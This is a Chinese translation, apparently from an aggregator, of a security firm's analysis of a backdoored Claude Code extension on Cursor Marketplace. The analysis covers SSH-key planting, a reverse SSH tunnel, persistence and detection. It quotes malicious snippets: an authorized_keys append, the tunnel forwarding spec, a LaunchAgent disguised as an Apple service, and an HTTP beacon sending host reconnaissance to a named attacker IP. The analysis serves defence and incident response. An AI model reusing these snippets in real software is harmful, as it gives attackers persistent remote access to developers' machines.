跳到正文
Hacker News 熱門(buzzing.cc 中文翻譯)·· 2 天前精選AI 評分82

Cursor Marketplace 上的官方 Claude Code for VS Code 擴充功能遭植入後門

Cursor Marketplace 上 VS Code 扩展“Claude Code”中存在后门

AI 導讀

Phorion 發現 Cursor Marketplace 上官方 Claude Code for VS Code 擴充功能 2.1.312 和 2.1.313 含有後門,Cursor 已將受影響版本下架。

推薦理由

文章拆解後門植入 SSH 金鑰、建立反向隧道及跨平台持久化的流程,並整理可供排查的檔案、程序與網絡指標。

正文 · 繁體中文

重點摘要

Phorion 發現 Cursor Marketplace 上的官方 Claude Code for VS Code 擴充功能套件含有後門,會在 macOS、Linux 及 Windows 系統植入持久化 SSH 後門。本文主要聚焦於 macOS,介紹擴充功能如何嘗試設定 SSH 後門並建立持久化機制。

各機構應立即檢查其環境是否使用 Claude Code for VSCode 2.1.312 或 2.1.313;如發現使用該擴充功能,應啟動事故應變工作。

修訂記錄

  1. 首次發布 30 Oct, 05:30 UTC
  2. 市集資訊修正 30 Oct, 09:13 UTC
    已更正受影響的市集為 Cursor。
  3. 版本範圍更新 31 Oct, 00:43 UTC
    按照 Cursor 更新後的公告加入 2.1.312。

Phorion 發現 Cursor Marketplace 上的官方 Claude Code for VS Code 擴充功能遭入侵,受植入後門的擴充功能套件含有持久化安全殼層(SSH)後門。Cursor 已從其市集中移除受影響的版本 2.1.312 和 2.1.313。

植入程式包含適用於macOS、Linux 及 Windows的設定及持久化邏輯;本文主要聚焦於macOS,並會一併指出其他平台的主要差異及一些實作錯誤。

Cursor Marketplace 為 Cursor 編輯器提供擴充功能。由於擴充功能會以 IDE 及執行 IDE 的用戶權限運作,受植入後門的擴充功能一旦載入模組,便可立即存取本機檔案、原始碼及開發者工具。

值得注意的是,Phorion 發現惡意軟件在嘗試啟用 SSH 時很可能有一處疏漏。設定邏輯假設無需 root 權限即可檢查目前的 Remote Login 狀態。以一般用戶身分執行時,systemsetup -getremotelogin會顯示管理員權限錯誤,並以狀態 0 結束,而非返回 Off。由於指令碼只會在輸出符合 Off 時嘗試啟用 SSH,因此會完全略過啟用步驟。在尚未啟用 SSH 的 Mac 上,這個錯誤會令入站存取途徑失效,儘管 SSH 金鑰及持久化機制仍會被植入。

本文會逐步説明後門的運作方式、macOS 檢查失效的原因,以及如何在整個設備羣中尋找相關跡象。這個負載的目標是取得長期互動式存取權。雖然 SSH 後門的錯誤降低了它對 macOS 的影響,但惡意軟件仍構成重大威脅,會安裝持久化機制,並將主機偵察資訊傳送回操作者。

感染鏈

Cursor Marketplace 擴充功能

遭入侵的 extension.js 檔案開頭,是一段注入在壓縮後擴充功能套件前方的立即呼叫函數表達式(IIFE)。套件其餘部分看來與標準擴充功能無異,包含 Claude Code 和 VS Code 字串、一般的 activate 和 deactivate 匯出項目,以及使用者介面程式碼。

注入的前置程式碼會引入標準 Node.js 模組(child_process、fs、os、path、http 和 crypto),並在 Node 載入檔案時立即執行,甚至早於擴充功能正常的 activate 回呼函數執行。用戶無須與擴充功能互動,負載便會觸發。

第 1 階段-準備 SSH 存取

首先,負載會確保 ~/.ssh 存在,並將攻擊者控制的 Ed25519 公開金鑰附加至 ~/.ssh/authorized_keys,同時將目錄權限設為 0700,並將檔案權限設為 0600。

該金鑰使用註解 svc-telemetry。追加前,腳本會檢查檔案中是否已有 svc-telemetry,而非檢查金鑰本身。調查這項活動時,值得檢查公開金鑰指紋,而不要只依賴註解字串。

var sd = path.join(HOME, ".ssh"),
    ak = path.join(sd, "authorized_keys");
// ...
if (cur.indexOf("svc-telemetry") < 0) {
  fs.appendFileSync(ak, PUB + "\n");
  d.sshKey = "added"
} else {
  d.sshKey = "present"
}

這裏,cur 儲存 authorized_keys 的現有內容,而 PUB 則是嵌入的攻擊者公開金鑰(此處已刪除)。

加入金鑰後,只要 SSH 正在運作,持有相符私密金鑰的任何人便可用該用戶的身份進行驗證。腳本接下來會嘗試確保本機 SSH 服務已啟用並正在監聽:

  • Linux:嘗試透過 systemctl 啟用並啟動 sshd 或 ssh,若失敗則改用 service 和 /etc/init.d/。
  • macOS:檢查 Remote Login;如果結果顯示 Off,便嘗試透過 sudo -n systemsetup -setremotelogin on 啟用它。
  • Windows:嘗試使用 PowerShell 安裝並啟動 OpenSSH Server。

這些步驟都不包含權限提升漏洞利用。除非用戶已快取或設定無需密碼的 sudo,否則非互動式 sudo -n 會失敗,因此從一般用戶權限環境啟動系統服務不一定會成功。

Windows 程式碼路徑似乎也有自己的錯誤:它將 PowerShell 服務設定命令傳給輔助函式(det()),而該函式會將 /bin/sh 寫死;在標準 Windows 安裝環境下,這樣不會有甚麼進展。

macOS 的 SSH 邏輯有錯誤?

在 macOS 上,設定程序甚至可能在執行 sudo 命令前就遇到問題。腳本會在沒有提升權限的情況下執行 systemsetup -getremotelogin,並檢查輸出是否符合 /Off/i。只有當輸出包含 Off 時,它才會嘗試啟用 Remote Login:

// ...
else if (PLAT === "darwin") {
  var rl = ex("systemsetup -getremotelogin 2>/dev/null", 4000);
  d.remoteLogin = rl;
  if (/Off/i.test(rl)) {
    det("sudo -n systemsetup -setremotelogin on >/dev/null 2>&1");
    d.remoteLoginOn = "tried"
  }
}

請注意,第二個命令(-setremotelogin on)會使用 sudo -n,而第一個命令(-getremotelogin)則不會。在 macOS 上以一般用戶身份執行 systemsetup -getremotelogin 時,會得到以下結果:

You need administrator access to run this tool... exiting!

systemsetup 拒絕在沒有管理員權限的情況下讀取設定,將錯誤訊息輸出至 stdout,並以狀態碼 0 結束。惡意軟件的 ex() 輔助函式會擷取 stdout 並傳回內容:

function ex(c, t) {
  try {
    return cp.execSync(c, {
      timeout: t || 3000,
      stdio: ["ignore", "pipe", "ignore"],
      windowsHide: true
    }).toString().trim()
  } catch (e) {
    return ""
  }
}

由於輸出是 "You need administrator access to run this tool... exiting!",/Off/i.test(rl) 的結果會是 false。

因此,腳本會略過 if 區塊,並且不會執行 sudo -n systemsetup -setremotelogin on。它實際上把「我沒有權限檢查 SSH 是否已關閉」當成「SSH 已經啟用」,這也解釋了為甚麼擴充功能以一般用戶身份執行時,你不會在程序遙測資料中看到啟用操作。

這個錯誤可能會令存取鏈的最後一步失效。如果 Mac 上尚未啟用 Remote Login,對外隧道仍可連接至攻擊者的伺服器,但任何經隧道轉送回來的流量,都會連到 localhost 上未開啟的 22 埠。

當然,這並不能作為可靠的防禦措施。如果用戶早已啟用 Remote Login,或日後將它開啟,後門便會準備就緒,等待使用。

階段 2 - 建立反向 SSH 隧道

接下來,腳本會以 tunnel 用戶身份,透過 22 埠連接至 134.209.82[.]225,建立對外 SSH 連線。為了向攻擊者的伺服器進行驗證,它會解碼另一把嵌入的私密金鑰:一把未加密的 OpenSSH Ed25519 金鑰,註解為 svc-telemetry-tun。

調查期間,值得分清以下兩把金鑰:

  • 新增至 ~/.ssh/authorized_keys 的公開金鑰(svc-telemetry),可讓攻擊者登入受害者的電腦。
  • 嵌入的私密金鑰(svc-telemetry-tun)可讓受害者的電腦連接至攻擊者的隧道伺服器。

腳本會將這把隧道金鑰寫入作業系統的暫存目錄,檔名以 .stk_ 開頭,後接主機名稱及家目錄路徑的 MD5 雜湊值首十個字元:

var kf = path.join(
  TMP,
  ".stk_" + crypto.createHash("md5")
    .update(String(os.hostname()) + HOME).digest("hex").slice(0, 10)
);
// ...
var RF = (PLAT === "win32") ? "\"*:0:localhost:22\"" : "'*:0:localhost:22'";

這條通道使用 -R *:0:localhost:22 進行遠端連接埠轉送。傳入 0 會要求攻擊者的 SSH 伺服器動態分配一個監聽連接埠,並將所有抵達該連接埠的流量經通道轉送回受害者機器上的 localhost:22:

Affected host -- outbound SSH tunnel --> External SSH server

Operator -- separate connection --> Server's allocated port
                                            |
                                 Through the existing tunnel
                                            |
                                            v
                                  Affected host's SSH:22
                                            |
                                  Login using the planted key

由於通道以 -N 運作,它只會保持連接埠轉送開啟,不會在遠端伺服器上執行命令。操作人員需要存取該機器時,會透過其伺服器上已分配的連接埠,另行啟動 SSH 工作階段,並使用第一階段植入的金鑰,向受害者本機的 SSH daemon 進行驗證。這讓他們取得完整的互動式 shell 和檔案傳輸能力,無須在 JavaScript 本身加入任何自訂 C2 命令處理功能。

SSH 命令亦會傳入一些旗標,令連線保持靜默及非互動:停用主機金鑰檢查、忽略 known_hosts、啟用 BatchMode 及 IdentitiesOnly、將 keepalive 間隔設為 30 秒(ServerAliveCountMax=3),並開啟 ExitOnForwardFailure。

如果已安裝 autossh,指令碼便會使用它;否則改用標準的 ssh。它會將連線包在一個分離執行的重試迴圈中,每次嘗試之間休眠 60 秒,並在 Unix 系統上使用 pgrep,以免啟動多個重複的初始通道。由於迴圈在背景分離執行,即使用戶關閉 IDE,通道仍會保持連線。

階段 3 - 維持存取權

為了在重新啟動後仍能繼續運作,指令碼會在初始通道分離執行的同時,設定平台專用的持久化機制:

平台相關項目持久化機制備註
Linux~/.config/.smt、~/.config/.smtk寫入一個會重建通道金鑰並循環執行 SSH 連線的 shell 指令碼,然後在用戶的 crontab 加入一個 @reboot 條目。檢查 crontab 時有一個錯誤,重複執行時可能會清除用戶現有的 cron 工作(詳情如下)。
macOS~/.config/.smt、~/.config/.smtk、~/Library/LaunchAgents/com.apple.sysmond.plist寫入一個用戶 LaunchAgent,以 RunAtLoad 及 KeepAlive 設為 true 的設定執行 /bin/sh ~/.config/.smt,然後透過 launchctl 載入。以用戶身分執行,而非以 root 身分執行的 LaunchDaemon。
Windows~/.config/smt.cmd、~/.config/smtk、%APPDATA%/Microsoft/Windows/Start Menu/Programs/Startup/sysmon.cmd嘗試建立一個名為 SysMon、以 SYSTEM 身分執行並於啟動時觸發的排程工作。若失敗,便將 sysmon.cmd 放入用戶的 Startup 資料夾。建立 SYSTEM 工作需要管理員權限;Startup 資料夾的後備方法則會在用戶登入時以用戶身分執行。

在 macOS 和 Linux 上,~/.config/.smt 指令碼內嵌了通道的私鑰,並會在開始重新連線迴圈前,將私鑰寫入 ~/.config/.smtk。

在 macOS 上,LaunchAgent 會在 ~/Library/LaunchAgents/ 內偽裝成 com.apple.sysmond.plist:

<key>Label</key>
<string>com.apple.sysmond</string>
<!-- ... -->
<key>RunAtLoad</key>
<true/>
<key>KeepAlive</key>
<true/>

階段 4 - 主機偵察

最後,指令碼會收集基本的主機偵察資料,並向攻擊者的伺服器發送一次性信標:

  • 主機名稱、用戶名稱、作業系統平台及架構
  • 家目錄、目前工作目錄及全域 Git 電郵地址(git config --global user.email)
  • 公開 IP 地址及各設定階段的狀態旗標(例如是否已加入 SSH 金鑰,以及執行了哪種持久化方法)
  • 最多 40 個符合 /KEY|TOKEN|SECRET|PASS|AWS|GCP/i 的環境變數名稱(而非值)

環境變數檢查使用 Object.keys(process.env):

Object.keys(process.env)
  .filter(function(k) {
    return /KEY|TOKEN|SECRET|PASS|AWS|GCP/i.test(k)
  })
  .slice(0, 40)

由於它只會擷取變數名稱,信標不會外傳變數本身的秘密值。相反,這會讓操作者快速掌握機器上有哪些雲端憑證或 API 權杖,以便決定優先處理哪些主機。

為取得機器的公開 IP 地址,指令碼會查詢 ifconfig[.]me,並以 api[.]ipify[.]org 作為後備。

然後,它會透過明文 HTTP POST 要求,將 JSON 報告傳送至 134.209.82[.]225:8099 和 127.0.0.1:8099 上的 /beacon:

var r = http.request({
  host: h,
  port: p,
  path: "/beacon",
  method: "POST",
  timeout: 3000,
  headers: {"content-type": "application/json"}
}, function(res) {
  res.resume()
});
// ...
r.write(JSON.stringify(d));
r.end()

範例中未能看出為何它也會將信標副本傳送至 127.0.0.1:8099;指令碼本身並未在該連接埠設定本機監聽程式。

信標會透過 setTimeout 排程執行一次(初始設定執行後 1.5 秒),並丟棄任何帶有 res.resume() 的 HTTP 回應。這純粹是一次報到,用來通知操作人員主機已準備就緒;實際存取則由 SSH 隧道處理。

偵測機會

從偵測角度來看,透過 macOS 上的 Endpoint Security Framework (ESF) 遙測資料,可見這條攻擊鏈中有幾種值得留意的行為。

SSH 金鑰及設定變更

由於惡意軟件直接使用 Node 的 fs.appendFileSync 將內容附加至 ~/.ssh/authorized_keys,因此,只監察以 echo 或 tee 等 Shell 指令操作 authorized_keys 的程序規則,將無法偵測到它。這正是檔案修改遙測不可或缺之處:監察 IDE 輔助程序(Code Helper、Cursor Helper 等)是否建立或寫入 ~/.ssh/authorized_keys。

即使 IDE 執行檔帶有有效簽署,其擴充功能主機程序也不應在背景修改 SSH 驗證檔案。

雖然亦應監察 systemsetup -setremotelogin on,但不要將其列為針對這次攻擊活動發出警示的必要條件。正如上文所見,macOS 上失效的狀態檢查會令該指令往往根本不會執行。

用戶 LaunchAgent 持久化

macOS 上的持久化設定提供了幾個強烈的偵測訊號:

  • 非 Apple 程序寫入標籤為 com.apple.* 的 plist(~/Library/LaunchAgents/com.apple.sysmond.plist)。
  • 設定為透過 /bin/sh 執行用戶主目錄中隱藏指令碼的 LaunchAgent(~/.config/.smt)。

由於初始隧道以分離程序方式啟動,之後又由 launchd 直接管理 .smt,後續的 ssh 程序在即時程序樹中不會以 IDE 作為直接父程序。若能將 .smt 和 com.apple.sysmond.plist 的檔案建立事件追溯至 IDE 擴充功能主機,便更容易拼湊出整條攻擊鏈。

SSH 隧道及後續存取

在程序及網絡層面,留意以下情況:

  • 以遠端連接埠轉送(-R *:0:localhost:22)方式啟動的 ssh 或 autossh,並使用從 /tmp/.stk_* 或 ~/.config/.smtk 取得的身分識別檔案。
  • 連往 134.209.82[.]225 的 22 連接埠的對外 SSH 連線,以及向 134.209.82[.]225:8099 發出的 HTTP POST 要求(和連往 127.0.0.1:8099 的連線嘗試)。

若發現有主機曾執行這個擴充功能,必須檢查隧道是否只建立了連線,還是操作人員曾經透過隧道登入。由於傳入工作階段會經本機連接埠轉送抵達,SSH 記錄中的成功登入會顯示為來自 localhost(127.0.0.1 或 ::1),並以 svc-telemetry 金鑰進行驗證。

補救措施

若確認有受影響的電腦,單靠解除安裝擴充功能並不能移除後門。請確保應變工作涵蓋它植入的所有階段:

  1. 終止作用中的隧道程序:終止 /bin/sh 重試迴圈,以及任何連接至 134.209.82[.]225 的 ssh 或 autossh 程序。
  2. 移除持久化設定:在 macOS 上卸載並刪除 ~/Library/LaunchAgents/com.apple.sysmond.plist(或在 Linux 上清除 @reboot cron 項目/在 Windows 上清除 SysMon 排程工作及啟動指令碼),並移除 ~/.config/.smt 和 ~/.config/.smtk。
  3. 清理 SSH 金鑰及狀態:移除 ~/.ssh/authorized_keys 中的 svc-telemetry 公開金鑰,刪除 /tmp/.stk_*,並確認 Remote Login (SSH) 未在未預期情況下啟用。
  4. 輪換憑證:如果主機已啟用 SSH,或有任何傳入登入的證據,請輪換該用戶帳戶可存取的所有憑證或權杖(尤其是符合 KEY|TOKEN|SECRET|PASS|AWS|GCP 環境變數篩選條件的項目)。

Phorion 的做法

Phorion 開箱即用的偵測功能會透過多項規則,標示這次攻擊所用的 macOS 持久化手法,包括非 Apple 程序建立 com.apple.* LaunchAgent,以及 LaunchAgent 從隱藏目錄執行 Shell 指令碼。

除了持久化機制外,Phorion 的檔案存取遙測資料亦會記錄 IDE 擴充功能主機直接修改 ~/.ssh/authorized_keys 的情況,而 Phorion Protections 可用來鎖定 ~/.ssh/,從一開始便只允許獲授權的程序讀取或修改 SSH 金鑰和設定檔。

如果你想了解 Phorion 如何在你的 Mac 裝置羣組中偵測並封鎖這類供應鏈威脅,聯絡我們安排示範。

指標

樣本及公開金鑰指紋

指標值備註
SHA-256ecb58cb29078d9646ad1dcdbe51526f2d9cfea06be5fb2ab183e8ecc3ab6bf15已植入後門的 extension.js 套件
受害者登入公開金鑰指紋SHA256:0Z6R+DF64Do2nwQic8a7kkfDLNNk4IiK+2U2Rci4htk附加至 ~/.ssh/authorized_keys 的 Ed25519 金鑰(註解 svc-telemetry)
隧道公開金鑰指紋SHA256:KOAU57+ZG6u3MG4WwzPzPX2O5YEe9qdOC1Bl+6MVyDQ用於向隧道伺服器進行驗證的嵌入式 Ed25519 金鑰(註解 svc-telemetry-tun)

網絡指標

指標類型備註
134.209.82[.]225(TCP 22,用戶 tunnel)IP / SSH對外連線的反向 SSH 隧道伺服器
134.209.82[.]225:8099(POST /beacon)IP / HTTP外部主機回報信標端點
127.0.0.1:8099(POST /beacon)迴環 / HTTP本機信標目的地
ifconfig[.]me、api[.]ipify[.]org網域用於查找公用 IP 的合法服務

主機痕跡

痕跡平台備註
~/.<ide>/extensions/anthropic.claude-code-2.1.312-darwin-arm64macOS (Apple Silicon)Cursor 安全公告中指出的另一個受影響版本(<ide> 因編輯器而異)
~/.<ide>/extensions/anthropic.claude-code-2.1.313-darwin-arm64macOS (Apple Silicon)已安裝的擴充功能目錄(<ide> 因編輯器而異)
~/.ssh/authorized_keys(註解 svc-telemetry)全部植入的 Ed25519 公開金鑰
<TMP>/.stk_<10 hex chars>(macOS 上為 $TMPDIR/.stk_*)全部作業系統暫存目錄中的初始隧道私密金鑰(後綴為 MD5(hostname + HOME) 的前 10 個十六進位字元)
~/.config/.smt 和 ~/.config/.smtkmacOS、Linux持久化 Shell 指令碼及重新建立的隧道私密金鑰
~/Library/LaunchAgents/com.apple.sysmond.plistmacOS執行 /bin/sh ~/.config/.smt 的用戶 LaunchAgent
@reboot 的 cron 項目(用於 ~/.config/.smt)Linux用戶 crontab 持久化機制
~/.config/smt.cmd 和 ~/.config/smtkWindows持久化批次指令碼及隧道私密金鑰
排程工作 SysMonWindows啟動時執行的排程工作(要求 SYSTEM)
%APPDATA%/Microsoft/Windows/Start Menu/Programs/Startup/sysmon.cmdWindows啟動資料夾後備指令碼

來源:Hacker News 熱門(buzzing.cc 中文翻譯) · phorion.io